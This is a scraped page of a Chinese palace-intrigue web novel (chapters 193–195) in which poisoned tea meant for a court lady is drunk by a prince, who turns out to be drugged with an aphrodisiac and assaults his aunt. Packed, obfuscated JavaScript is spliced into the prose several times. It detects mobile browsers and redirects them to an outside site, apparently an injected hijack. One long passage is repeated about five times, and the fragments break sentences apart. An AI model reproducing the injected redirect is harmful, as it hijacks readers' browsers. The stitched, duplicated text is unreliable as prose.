那人紧紧抓着抢来的银票在地上滚了一圈立马爬起来大声喝斥“放肆你一个小小的郡主怎么敢对四皇子如此不敬?” “他要你的钱是看得起你给脸不要脸的东西赶紧把所有的钱送给四皇子就当是赔罪。” 如此奇葩的言语震惊全场。 众人看的目瞪口呆这是谁呀?穿着旧衣服像是仆妇。 啊不对这是平西侯的侯夫人江闻舟的亲娘她怎么跑来抢钱?以前怎么没有发现她这么上不了台面? 侯夫人将手中的银票双手送到四皇子面前冲四皇子讨好的笑“四皇子我帮您收拾她。” 平西侯府已经落败只有抱上皇子的大腿靠从龙之功才有机会逆风翻盘。 为了这她豁出去了脸都不要了。 四皇子心里一动有人替他冲锋陷阵何乐而不为? 他讨要的哪是钱而是福气是意气之争。 是不甘心是不服气怎么能被三皇子府占了先? 说白了他就是争强好胜这种小事都不想输给其他皇子。 他更不希望云筝被三皇子笼络了过去。 侯夫人得了默许立马嚣张起来又一次冲向云筝高高举起右手一巴掌挥过去“掌嘴。” 这一巴掌是带着私人恩怨的用尽全身力气挥下去。 紫烟又一次将人踢翻这一次没收力 侯夫人浑身剧痛疼的爬不起来了。 江淑蓉见状赶紧上前扶起侯夫人大声喝斥“云筝这是你前婆母你怎么能如此对长辈?” 她们是姑嫂自然是向着她说话的。 云筝淡淡瞥了一眼蔑视而又不屑“没有成亲哪来的前婆母?” “平西侯府也受到了邀请?落败成这样空有爵位而已我还以为被逐出社交圈了呢。” **就打脸就是这么犀利。 四皇子凉凉的开口“锦云郡主对长辈如此不敬品行堪忧 啊。” 云筝冷笑一声“四皇子你跟平西侯府和钱家联合起来结党营私排除异己?” 四皇子脸色微变“胡说我只是说句公道话。” 云筝认认真真的打量他两眼“凭你这脑子也想夺嫡?皇室没人了?” 全场静的出奇她的胆子好大。 三皇子偷笑不愧是最强嘴替哈哈哈。 怼自己的时候难受但看她怼别人时爽翻了。 四皇子不禁恼羞成怒“云筝。” 侯夫**声嚷嚷“云筝你胆敢对皇子不敬这是要**吗?” 她这是学云筝的行事方式先是给人扣大帽子。 云筝气势汹汹的反问道“你算什么东西?敢跟我这么说话?这世上只有皇上能管我。” 在所有人的注意力被吸引走时角落的小红炉上茶壶发出噗呲噗呲的声音水开了。 负责泡茶的嬷嬷掀起茶壶盖子掩在宽大衣袖下的手指轻弹一颗药丸悄无声息的弹进去。 宗正站出来打圆场“行了都别闹了以和为贵。” 他是皇上的亲叔叔皇族硕果仅存的近支长辈负责掌管皇帝亲族和外戚勋贵的日常事务在皇族中极有威信。 “来来来一起喝杯酒这件事就算过去了。” 他一开口别说勋贵了皇子也要给面子。 他大声喝道 他一大把年纪了早就看透了很多事。 云筝虽是女子但她上次挣的钱也分给了宗室他掌管的宗人府也不用紧巴巴的只等着皇上拨款了。 皇上自己都不够花啊。 他位高权重是皇上的亲叔叔没人敢惹这么大年纪只图好好享受了。 侯夫人面色通红“我没错。” 宗正板起脸輵斥道“那你请回吧这里不欢迎你。” 侯夫人立马怂了这次夫君告病不愿意来她主动请缨走一趟就是想给自家寻一个机会跟皇子们搭上线。 这四个皇子中总有一个能登上皇位。 最好保险点脚踏四条船但怎么搭上线呢? “那听您的。 ” 宗正转过头,就露出笑容,举起杯子,“锦云郡主,冤家宜结不宜解,你是本朝第一个女官,值得贺一贺。” 他亲自为云筝撑腰,大家心里惊讶,但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039334|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢多问,纷纷举杯,“对,我们共饮此杯,祝贺锦云郡主。” 丫环见云筝面前没有酒杯,她特意送上一个全新的酒杯,斟满了酒。 云筝没有接过酒杯,而是笑吟吟的举起茶杯,“多谢,不过我对酒过敏,会起疹子,就以茶代酒敬大家,我先干为敬。” 她一口气全喝光了。 丫环的眼神一凝。 四皇子忍不住冷嘲热讽,“呵呵,什么起疹子,分明是推托之词,你分明是没有诚意,瞧不起人。” 三皇子微微摇头,四弟的好胜心太强了,前几次没有压制住云筝,一直耿耿于怀。 云筝有些烦四皇子,一点都没有容人的气量,这样的人要是当了皇帝,这个国家要完。 “你错了。” “什么?” 云筝淡淡的道,“我若瞧不起谁,不会找推托之词,直接拒绝。” “四皇子,你看我何时多看你一眼?何时主动搭过话?” 四皇子目瞪口呆,随后暴怒,“你好大的狗胆。” 宗正头疼的厉害,皇子们太骄傲了,从小到大没吃过亏,唯独在云筝手里吃了亏,一定要找回场子。 “四皇子,没必要跟郡主闹的这么僵,大家都同朝为官,将来说不定还要合作,甚至还有可能要靠郡主带我们发财。” 四皇子心里一动,“行吧,就给叔祖面子,锦云郡主以茶代酒,一杯不行,要三杯。” 他主动举起杯,大家齐刷刷的跟着举杯,所有人都举着杯子等待。 宗正看着云筝的空茶杯,扬声道,“来人,给锦云郡主上一杯新茶,新上贡的雨前龙井不错,就泡那个。” 嬷嬷拿起小红炉上的茶壶,泡了一杯热茶。 丫环端着热茶送到云筝面前,垂眸,随手拿起那一杯酒退后,将酒水往暗处一洒,酒杯空了。 云筝笑吟吟的举起茶杯,“请。” 这一刻,女子走到高位的意义具象化了。 有了权力,才会被世人看到,说的话才管用,哪怕有些人心里不服气,但还得憋着。 茶杯放到唇边,她微微仰头。 丫环眼中闪过一丝暗芒,喝,快喝! 第193章 他,喝了那杯茶 大家都喝完了,转头一看,云筝的茶水还是满的。 “咦,郡主怎么不喝?” 云筝嗅了嗅茶水,“这茶是发霉了吗?怎么有一股怪味?” 特殊期间,她的五感比常人更敏锐,沾了沾唇就觉得不对味。 她吃东西又挑,也不愿意委屈自己,差一点的东西都入不了她的口。 四皇子鄙夷不已,“就你事多,上贡的新茶叶怎么可能发霉?他们不要脑袋了?” 他一把抢过云筝的茶杯,仰起头一饮而尽。 动作太快了,大家都没有反应过来。 一道惊叫声猛的响起,“不要!” 大家齐刷刷的看过去,是泡茶的老嬷嬷,她脸色有些难看。 四皇子一眼就认出,她是永宁姑姑身边的嬷嬷,”成姑姑,你这是怎么了?” 成姑姑心里发紧,但,面上不敢流露出异样,“都说了是发霉的,您怎么还敢喝?” 四皇子只当她在关心自己,全然没在意,“没发霉,是锦云郡主太挑剔了。” 成姑姑一脸的无奈,“罢了,抢人家的茶总不大好。” “郡主,我这就替您泡杯新茶。” 四皇子瞥了云筝一眼,“成姑姑的泡茶手艺是一绝,你有口福了。” 新茶很快就送上来,云筝端起茶杯把玩,就是不喝。 成姑姑站在旁边,没有退开,轻声细语的问道,“您尝尝奴婢的手艺,若是好,奴婢再给您泡。” 云筝心中闪过一丝异样,细细打量她,她眼中有急色? 急什么呢? 她忽然觉得这个成姑姑跟之前在钱府刺杀她的嬷嬷有几分相似,是错觉吗? 她心里闪过一个念头,捂着肚子,忽然说道。 “我的身体有些不舒服,不能碰茶水和酒。成姑姑,你来替我喝吧。” 她看了一眼紫烟,紫烟将热气腾腾的茶杯递到成姑姑面前。 成姑姑瞳孔一缩,“我?” 云筝挑了挑眉,“对,你也不舒服吗?还是不愿给我这个面子?” 众人面面相觑,搞什么?不会是茶有问题吧? 四皇子莫名的不安,在众目睽睽之下下毒,怎么可能?除非不 要命了。 紫烟紧紧盯着成姑姑,大有一言不合就灌茶的架式。 成姑姑垂下眼帘,“锦云郡主赏赐,奴婢受宠若惊。“ 云筝抽出一张银票,“喏,喝吧,这一百两银赏你了。” 成姑姑毕恭毕敬的接过银票,磕了个头,”谢郡主。” 她拿起茶杯一口饮尽,大家都松了一口气,四皇子也暗笑自己想太多了。 成姑姑告退,悄无声息的退到一边。 云筝冲侍卫使了个眼色,侍卫会意的点头,眼睛一眨不眨的盯着成姑姑。 他都没有掩饰,成姑姑看了他几眼,额头渗出密密麻麻的汗珠。 身边的小丫环见状,轻声问道,“姑姑,您不舒服吗?” 成姑姑一脸的无奈,“人有三急。” “那您去吧,我在这里守着。” 成姑姑一动,侍卫立马跟上去。 “吉时已到,有请永宁夫人。” 公主是封号,被削去公主封号时,就不能再称公主了。 永宁被女儿和嬷嬷搀扶出来的,面色惨白如纸,走路都摇摇晃晃,头发简单的用一束玉钗固定住,憔悴不堪,颇有日落西山的悲凉。 看着曾经不可一世的长公主落到这种地步,不少人心生同情,太惨了。 永宁伏下身体行礼,“见过大皇子,二皇子,三皇子,四皇子。” 她跪都跪不稳,快要晕过去的模样。 大皇子亲自上前扶起她,“姑姑快请起。” 永宁眼眶泛红,“难为你还愿意叫我一声姑姑。” 大皇子心中感慨万千,千万不要跟父皇对着干,否则,这就是下场。 或许,父皇让他们这些人观礼,就是敲打警告吧。 永宁站起身,神色凄楚看向四周,但,没人敢站出来跟她搭话,更不要说求情了。 她的视线落到云筝的脸上,年轻,美丽,野心勃勃,还有一丝狠辣。 云筝冲她微微一笑,气定神闲,永宁只觉得全身的血液直往脑门冲,叫嚣着要掐断她的脖子。 礼部尚书冲宗正拱了拱手,“请宗正主持剃度仪式。” 宗正面色平静,扬声道,“开始吧,有请妙慧师太。” 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝披散下来。 她拿起剪子,撩起永宁的一缕头发,永宁不由自主的哆嗦了一下,眼中闪过一丝强烈的恨意。 她好恨,恨天恨地恨皇上,恨在场的所有人,好想天地毁灭,跟所有人同归于尽。 就在剪子落下时,一道惊恐的尖叫声猛的响起。 “啊,郡主。” 江城郡主倒在地上,双手捂着肚子,整个人蜷缩起来,满脸的痛苦。 而她的侍女跪在一边,吓哭了。 宗正吓了一大跳,“江城郡主,您这是怎么了?” 江城郡主疼的将嘴唇咬破了,“疼,好疼。” 云筝第一时间冲过去,跪在她面前,小心查看她的情况。 “不好,她的嘴唇紫了,这是**。” 全场鸦雀无声,所有人的脸色都变了,**? 宗正眼前一黑,大声叫道,“快叫太医,快快,快。” 妈呀,要是江城郡主在他的眼皮底下出了事,他也难辞其咎。 云筝一把抱住江城郡主,脑子转的飞快,她随身带了解毒丸,但,怎么才能不留痕迹的喂江城郡主服下? 这是她的底牌,不能轻易暴露,更何况这么多人中一定有她的仇家,对她虎视眈眈。 云筝大声命令,“去把明镜司叫来,快。” 纪语儿站出来大声喝斥,“这里轮不到你作主。” 云筝冷冷的瞪着她,“闭嘴吧,她是在你家出的事,若有个三长两短,你以为能全身而退?” “宗正,出了这样的事,得通知皇上吧。” 宗正神情复杂到了极点,“来人,往宫中递消息,要快。” 他压低声音问道,“永宁,是不是你?” 永宁一脸的无辜,“我跟江城郡主无怨无仇的,为什么要害她?” 此时,江城郡主满头大汗,痛的已经神智不清了,“救我,救救我。” 她眼睛都睁不开了,“我不想死,我答应过父母,要好好的活下去,要将江家的血脉传下去。” 这是她在最艰难时,咬牙熬下来的唯一理由。 她这状况是等不到太医来了,云筝心里一痛,深吸一口气,做了个决定。 她忽然扬声道,“四皇子,你喝了那杯茶。” 全场皆惊,四皇子面色刷的惨白…… 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝披散下来。 她拿起剪子,撩起永宁的一缕头发,永宁不由自主的哆嗦了一下,眼中闪过一丝强烈的恨意。 她好恨,恨天恨地恨皇上,恨在场的所有人,好想天地毁灭,跟所有人同归于尽。 就在剪子落下时,一道惊恐的尖叫声猛的响起。 “啊,郡主。” 江城郡主倒在地上,双手捂着肚子,整个人蜷缩起来,满脸的痛苦。 而她的侍女跪在一边,吓哭了。 宗正吓了一大跳,“江城郡主,您这是怎么了?” 江城郡主疼的将嘴唇咬破了,“疼,好疼。” 云筝第一时间冲过去,跪在她面前,小心查看她的情况。 “不好,她的嘴唇紫了,这是**。” 全场鸦雀无声,所有人的脸色都变了,**? 宗正眼前一黑,大声叫道,“快叫太医,快快,快。” 妈呀,要是江城郡主在他的眼皮底下出了事,他也难辞其咎。 云筝一把抱住江城郡主,脑子转的飞快,她随身带了解毒丸,但,怎么才能不留痕迹的喂江城郡主服下? 这是她的底牌,不能轻易暴露,更何况这么多人中一定有她的仇家,对她虎视眈眈。 云筝大声命令,“去把明镜司叫来,快。” 纪语儿站出来大声喝斥,“这里轮不到你作主。” 云筝冷冷的瞪着她,“闭嘴吧,她是在你家出的事,若有个三长两短,你以为能全身而退?” “宗正,出了这样的事,得通知皇上吧。” 宗正神情复杂到了极点,“来人,往宫中递消息,要快。” 他压低声音问道,“永宁,是不是你?” 永宁一脸的无辜,“我跟江城郡主无怨无仇的,为什么要害她?” 此时,江城郡主满头大汗,痛的已经神智不清了,“救我,救救我。” 她眼睛都睁不开了,“我不想死,我答应过父母,要好好的活下去,要将江家的血脉传下去。” 这是她在最艰难时,咬牙熬下来的唯一理由。 她这状况是等不到太医来了,云筝心里一痛,深吸一口气,做了个决定。 她忽然扬声道,“四皇子,你喝了那杯茶。” 全场皆惊,四皇子面色刷的惨白…… 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝披散下来。 她拿起剪子,撩起永宁的一缕头发,永宁不由自主的哆嗦了一下,眼中闪过一丝强烈的恨意。 她好恨,恨天恨地恨皇上,恨在场的所有人,好想天地毁灭,跟所有人同归于尽。 就在剪子落下时,一道惊恐的尖叫声猛的响起。 “啊,郡主。” 江城郡主倒在地上,双手捂着肚子,整个人蜷缩起来,满脸的痛苦。 而她的侍女跪在一边,吓哭了。 宗正吓了一大跳,“江城郡主,您这是怎么了?” 江城郡主疼的将嘴唇咬破了,“疼,好疼。” 云筝第一时间冲过去,跪在她面前,小心查看她的情况。 “不好,她的嘴唇紫了,这是**。” 全场鸦雀无声,所有人的脸色都变了,**? 宗正眼前一黑,大声叫道,“快叫太医,快快,快。” 妈呀,要是江城郡主在他的眼皮底下出了事,他也难辞其咎。 云筝一把抱住江城郡主,脑子转的飞快,她随身带了解毒丸,但,怎么才能不留痕迹的喂江城郡主服下? 这是她的底牌,不能轻易暴露,更何况这么多人中一定有她的仇家,对她虎视眈眈。 云筝大声命令,“去把明镜司叫来,快。” 纪语儿站出来大声喝斥,“这里轮不到你作主。” 云筝冷冷的瞪着她,“闭嘴吧,她是在你家出的事,若有个三长两短,你以为能全身而退?” “宗正,出了这样的事,得通知皇上吧。” 宗正神情复杂到了极点,“来人,往宫中递消息,要快。” 他压低声音问道,“永宁,是不是你?” 永宁一脸的无辜,“我跟江城郡主无怨无仇的,为什么要害她?” 此时,江城郡主满头大汗,痛的已经神智不清了,“救我,救救我。” 她眼睛都睁不开了,“我不想死,我答应过父母,要好好的活下去,要将江家的血脉传下去。” 这是她在最艰难时,咬牙熬下来的唯一理由。 她这状况是等不到太医来了,云筝心里一痛,深吸一口气,做了个决定。 她忽然扬声道,“四皇子,你喝了那杯茶。” 全场皆惊,四皇子面色刷的惨白…… 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝披散下来。 她拿起剪子,撩起永宁的一缕头发,永宁不由自主的哆嗦了一下,眼中闪过一丝强烈的恨意。 她好恨,恨天恨地恨皇上,恨在场的所有人,好想天地毁灭,跟所有人同归于尽。 就在剪子落下时,一道惊恐的尖叫声猛的响起。 “啊,郡主。” 江城郡主倒在地上,双手捂着肚子,整个人蜷缩起来,满脸的痛苦。 而她的侍女跪在一边,吓哭了。 宗正吓了一大跳,“江城郡主,您这是怎么了?” 江城郡主疼的将嘴唇咬破了,“疼,好疼。” 云筝第一时间冲过去,跪在她面前,小心查看她的情况。 “不好,她的嘴唇紫了,这是**。” 全场鸦雀无声,所有人的脸色都变了,**? 宗正眼前一黑,大声叫道,“快叫太医,快快,快。” 妈呀,要是江城郡主在他的眼皮底下出了事,他也难辞其咎。 云筝一把抱住江城郡主,脑子转的飞快,她随身带了解毒丸,但,怎么才能不留痕迹的喂江城郡主服下? 这是她的底牌,不能轻易暴露,更何况这么多人中一定有她的仇家,对她虎视眈眈。 云筝大声命令,“去把明镜司叫来,快。” 纪语儿站出来大声喝斥,“这里轮不到你作主。” 云筝冷冷的瞪着她,“闭嘴吧,她是在你家出的事,若有个三长两短,你以为能全身而退?” “宗正,出了这样的事,得通知皇上吧。” 宗正神情复杂到了极点,“来人,往宫中递消息,要快。” 他压低声音问道,“永宁,是不是你?” 永宁一脸的无辜,“我跟江城郡主无怨无仇的,为什么要害她?” 此时,江城郡主满头大汗,痛的已经神智不清了,“救我,救救我。” 她眼睛都睁不开了,“我不想死,我答应过父母,要好好的活下去,要将江家的血脉传下去。” 这是她在最艰难时,咬牙熬下来的唯一理由。 她这状况是等不到太医来了,云筝心里一痛,深吸一口气,做了个决定。 她忽然扬声道,“四皇子,你喝了那杯茶。” 全场皆惊,四皇子面色刷的惨白…… 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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全场皆惊,四皇子面色刷的惨白…… 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝披散下来。 她拿起剪子,撩起永宁的一缕头发,永宁不由自主的哆嗦了一下,眼中闪过一丝强烈的恨意。 她好恨,恨天恨地恨皇上,恨在场的所有人,好想天地毁灭,跟所有人同归于尽。 就在剪子落下时,一道惊恐的尖叫声猛的响起。 “啊,郡主。” 江城郡主倒在地上,双手捂着肚子,整个人蜷缩起来,满脸的痛苦。 而她的侍女跪在一边,吓哭了。 宗正吓了一大跳,“江城郡主,您这是怎么了?” 江城郡主疼的将嘴唇咬破了,“疼,好疼。” 云筝第一时间冲过去,跪在她面前,小心查看她的情况。 “不好,她的嘴唇紫了,这是**。” 全场鸦雀无声,所有人的脸色都变了,**? 宗正眼前一黑,大声叫道,“快叫太医,快快,快。” 妈呀,要是江城郡主在他的眼皮底下出了事,他也难辞其咎。 云筝一把抱住江城郡主,脑子转的飞快,她随身带了解毒丸,但,怎么才能不留痕迹的喂江城郡主服下? 这是她的底牌,不能轻易暴露,更何况这么多人中一定有她的仇家,对她虎视眈眈。 云筝大声命令,“去把明镜司叫来,快。” 纪语儿站出来大声喝斥,“这里轮不到你作主。” 云筝冷冷的瞪着她,“闭嘴吧,她是在你家出的事,若有个三长两短,你以为能全身而退?” “宗正,出了这样的事,得通知皇上吧。” 宗正神情复杂到了极点,“来人,往宫中递消息,要快。” 他压低声音问道,“永宁,是不是你?” 永宁一脸的无辜,“我跟江城郡主无怨无仇的,为什么要害她?” 此时,江城郡主满头大汗,痛的已经神智不清了,“救我,救救我。” 她眼睛都睁不开了,“我不想死,我答应过父母,要好好的活下去,要将江家的血脉传下去。” 这是她在最艰难时,咬牙熬下来的唯一理由。 她这状况是等不到太医来了,云筝心里一痛,深吸一口气,做了个决定。 她忽然扬声道,“四皇子,你喝了那杯茶。” 全场皆惊,四皇子面色刷的惨白…… 妙慧师太就是清凉庵的住持,瘦削而又严肃。 她上前拔掉永宁发间的钗子,一头青丝披散下来。 她拿起剪子,撩起永宁的一缕头发,永宁不由自主的哆嗦了一下,眼中闪过一丝强烈的恨意。 她好恨,恨天恨地恨皇上,恨在场的所有人,好想天地毁灭,跟所有人同归于尽。 就在剪子落下时,一道惊恐的尖叫声猛的响起。 “啊,郡主。” 江城郡主倒在地上,双手捂着肚子,整个人蜷缩起来,满脸的痛苦。 而她的侍女跪在一边,吓哭了。 宗正吓了一大跳,“江城郡主,您这是怎么了?” 江城郡主疼的将嘴唇咬破了,“疼,好疼。” 云筝第一时间冲过去,跪在她面前,小心查看她的情况。 “不好,她的嘴唇紫了,这是**。” 全场鸦雀无声,所有人的脸色都变了,**? 宗正眼前一黑,大声叫道,“快叫太医,快快,快。” 妈呀,要是江城郡主在他的眼皮底下出了事,他也难辞其咎。 云筝一把抱住江城郡主,脑子转的飞快,她随身带了解毒丸,但,怎么才能不留痕迹的喂江城郡主服下? 这是她的底牌,不能轻易暴露,更何况这么多人中一定有她的仇家,对她虎视眈眈。 云筝大声命令,“去把明镜司叫来,快。” 纪语儿站出来大声喝斥,“这里轮不到你作主。” 云筝冷冷的瞪着她,“闭嘴吧,她是在你家出的事,若有个三长两短,你以为能全身而退?” “宗正,出了这样的事,得通知皇上吧。” 宗正神情复杂到了极点,“来人,往宫中递消息,要快。” 他压低声音问道,“永宁,是不是你?” 永宁一脸的无辜,“我跟江城郡主无怨无仇的,为什么要害她?” 此时,江城郡主满头大汗,痛的已经神智不清了,“救我,救救我。” 她眼睛都睁不开了,“我不想死,我答应过父母,要好好的活下去,要将江家的血脉传下去。” 这是她在最艰难时,咬牙熬下来的唯一理由。 她这状况是等不到太医来了,云筝心里一痛,深吸一口气,做了个决定。 她忽然扬声道,“四皇子,你喝了那杯茶。” 全场皆惊,四皇子面色刷的惨白…… 第194章 四皇子中的不是毒,而是…… 四皇子努力说服自己也说服大家“不会的你太多心了。” 话虽这么说但心一下子绷紧了。 云筝冷冷的说道“你永宁姑姑落发为尼长公主府将充公往日的繁华将成为历史尘埃她身边的奴婢都没有了着落按理说应该对我恨之入骨可为什么恭恭敬敬给我奉茶还在一边盯着看我有没有喝下去?” 这是最大的疑点。 要知道这永宁公主府原本有上千的奴婢和门人这些人本来吃穿不愁有恃无恐忽然没有了依靠生活没有了着落焉能不恨? 这话一出全场皆惊。 四皇子浑身一颤他不该手贱不该冲动的。 可谁能想到有人会那么大胆在这种场合下毒呢? 众人立马围在四皇子身边嘘寒问暖。 四皇子妃面色惊恐慌里慌张的问道“夫君你没事吧?太医呢把整个太医院都叫来快啊。” 上上下下都慌作一团生怕四皇子有个三长两短。 帝王之怒伏尸三千里他们可不想被波及。 宗正眉头紧皱心乱如麻“四皇子你现在感觉如何??” 小祖宗可千万不要有事啊。 四皇子嘴唇微抿心慌慌的下意识的寻找江城郡主的身影。 “我……好像没什么感觉。” 他不确定的语气让四皇子侧妃急的不行“可能还没有发作得让太医好好看看太医呢?怎么还没来?” 大皇子无奈的叹气“去请皇上过来快点。” 哎不是他担不起事而是太敏感了涉及到姑姑。 父皇这个人吧不重视亲情但也不容任何人践踏皇权谁都不能动皇室中人只有他可以。 这个尺度好难把控。 这种场合应该由九皇叔坐镇可惜他临时去了郊外执行秘密任务。 二皇子眼神微闪随大流的关心了几句。 而三皇子嘴上说着关心但嘴角扬的高高的浑身透着高兴。 大家都围着四皇子打转宗正挤出人群一眼就看到了坐在一边的永宁母子三人永宁还挺淡定的。 他眼神一冷“永宁 在茶里下了什么毒?快把解药拿出来,你想找死,别拉上我们。 永宁呆了呆,随后像是受了天大的委屈,眼眶泛红,“我怎么可能做这种事情?别听云筝胡说,她是要陷害我。 宗正分不清她这是真话,还是假话,“四皇子若有事,你就等着倒霉吧。 永宁更委屈了,眼泪滚落下来,“我还能怎么倒霉?杀了我? 宗正冷冷的看向纪语儿兄妹,“别忘了,你还有一双儿女。 永宁脸色微变,宗正看在眼里,一颗心往下沉。 蠢货,下毒都会失手。 他压低声音劝道,“快拿出解药,趁还来得及。 永宁心思飞转,咬**一点,“我真没有。 都这样了,只能一条路走到黑,绝不能认。 不认,还有一线生机,认了,那才是灭顶之灾。 只是,云筝的运气怎么这么好?为什么?她不甘心! 现场乱成了一锅粥,云筝冲身边的紫烟使了个眼色,紫烟四周张望,拿起一杯水,悄悄往里面投了一颗药丸,入水即化。 云筝手里有解毒丸,紫烟手里也有,以防万一的,这不,就用上了。 紫烟将水杯送到云筝手里,云筝示意将江城郡主扶起来,半靠在紫烟怀里。 “阿妩,别怕,不会有事的。 “阿妩,快喝点水,喝了就不疼了。 江城郡主已经疼的看不清眼前的身影,只听到熟悉的女声,让她感觉很有安全感,下意识的张嘴。 水进入嘴里,她下意识的吞咽,水喝进一半,一半洒在外面。 不知是不是心理作用,喝下水后,江城郡主肚子的疼痛有所缓解,没有那么疼了。 她好累,强撑的神智渐渐模糊,眼睛无力的合上。 她的丫环吓哭了,拼命摇晃江城郡主的身体,“郡主,您不能死啊。 云筝的手伸向江城郡主的鼻端,有热气。 “没死,就是……疼晕过去了。 吃了解毒丸,应该没事了吧。 就在她暗暗松了一口气时,一声尖叫猛的响起,“不好了,四皇子出事了。 云筝猛的抬头,果然,那杯茶有问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048994|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但万万没想到,不是**,而是…… 四皇子面色潮红,眼神直勾勾的泛散,疯狂撕扯自己的衣服。 呲啦一声,衣服扯破了,露出白皙的胸口。 四周的女眷惊叫着逃开,男人们纷纷上前阻止。 但,四皇子看到一个人就扑过去,狂亲狂摸。 被扑到的男人吓的连声尖叫,挣扎着逃开,大家见状吓的纷纷退散。 妈呀,他们还想做人啊。 宗正急的直跳脚,“四皇子发作了,没有神智可言,快阻止他乱来,快。” 永宁眼神微闪,得想想办法,将他往云筝方向引。 她扬声叫道,“四皇子,这里,这里。” 她手指着云筝的方向。 四皇子听到声音向永宁方向冲过来,首当其冲的是宗正,他吓的魂飞魄散,老胳膊老腿往地上一滚,及时逃开。 但,他身后的永宁倒霉了,被四皇子扑了个正着,嘴里叫着美人儿,乱亲一气。 永宁措不及防,吓的失声尖叫。 她拼命挣扎,“我是你姑姑,四皇子,快放开我,是让你去找云筝啊,你这个蠢货!” 四皇子眼睛充血,浑身发热,什么都听不进去,只有一个念头,发泄。 纪语儿兄妹吓坏了,瑟瑟发抖,怎么会变成这样?救命啊。 “来人,快来人,把他拉开。” 他们自己不敢上前,生怕被波及,只敢乱喊乱叫。 但,没有人听他们的。 其他人目瞪口呆,不敢直视,真是要命,不会被灭口吧? 宗正好不容易爬起来,看到眼前的一幕,差点晕过去。 老天爷啊,让他死吧。 “打晕他,快。” 可,侍卫们不敢下重手,弄个不好,要诛九族的。 四皇子再怎么着,也是皇上的亲子,谁敢动他分毫,就等着倒霉吧。 等皇上带着太医赶过来时,就见四皇子将一个女子压在地上乱来。 定睛一看,那女子居然是永宁! 他瞳孔剧震,倒抽一口冷气。 不敢睁开眼,希望是他的幻觉! 第195章 不敢睁开眼,希望是我的幻觉 皇上深吸一口气,“来人,打晕他。” 他一发话,随行而来的侍卫立马上前,轻轻一击,打在四皇子颈后。 四皇子动作顿住,眼睛翻白,晕了过去。 这下子,全场安静了,面面相觑。 永宁立马抓住机会,一把推开四皇子,赶紧整理衣服,但,衣服被撕的不成样子,遮不住身体。 云筝看着昏死过去的四皇子,又看看衣不蔽体的永宁,嘴角抽了抽。 这神展开,谁都没有料到啊。 永宁神色麻木的拢了拢衣服,忽然抬眼看向云筝,眼中满满是怨恨。 都怪她!好恨! 云筝也不怕,冲她嘲讽的一笑,这算不算害人害己呢? 给她下媚药,还将中招的四皇子往她身边引,恶毒至极。 永宁右手紧握成拳,青筋暴起,目露凶光。 太医们围在四皇子身边,检查身体,“四皇子是中了媚药,发泄出来就好了。” 皇上大手一挥,“把四皇子扶去水阁休息,给他找两个宫女。“ “是。” 四皇子被抬走了,他的妻妾都跟了上去。 永宁立马扑过来叫冤,“皇上,我被人害的好惨,您要帮我作主啊,是云筝害我!” 恶人先告状。 皇上冷冷的看了她一眼,将她一脚踢开,“太医,你快给江城郡主把把脉,一定要救活她。” 永宁伏倒在地,打了个冷战,皇上的眼神从未如此冰冷过,满满的厌弃。 这是触及到皇上的逆鳞了。 医正把完脉,一脸的惊讶,“江城郡主中了剧毒,所幸,及时服了解药,再服几帖汤药,拔除余毒就好了。” 皇上眉眼微蹙,“哪来的解药?” 不可能是永宁给的,她至今死不悔改,不觉得自己有错。 他的视线一转,落到始终守护在江城郡主身边的云筝。 云筝自知避不开,凑了过去,小小声的说道,“皇上,我悄悄跟您说,就跟您一个人说。” 皇上深深的看了她一眼,“说吧。” 云筝在皇上出现的那一刻,已经想好应对方案了,坦白从宽。 “我曾经救过一个 大夫的孙子,如今被我养在家里,他为了报恩,给我配了一颗解毒丸,我平时随身携带。” 这种事情一查就能查出来,不如老老实实的招了。 皇上要用云筝,自然是命人将云家里里外外查了几遍,多出来的安家祖孙是怎么来历,自然是一清二楚。 只是没想到,向来巧言善辩的她如此老实。 云筝一脸的后怕,“本来嘛,我不敢给人乱吃药,但,江城郡主眼见就要不行了,我是活马当死马医,拼上一切,赌了一把。” 她轻轻叹息,“我也知道,赌输了,后果很严重。” 云筝眼眶一红,“但,当我听到她神智不清时说,她不想死,她答应过父母,要好好的活下去,要将江家的血脉传下去时,我……哎,一时头脑发热。” 皇上脸色稍缓,她是真性情,心正,有善念。 云筝不动声色的瞟了一眼,“是我太冲动了,请皇上责罚。” 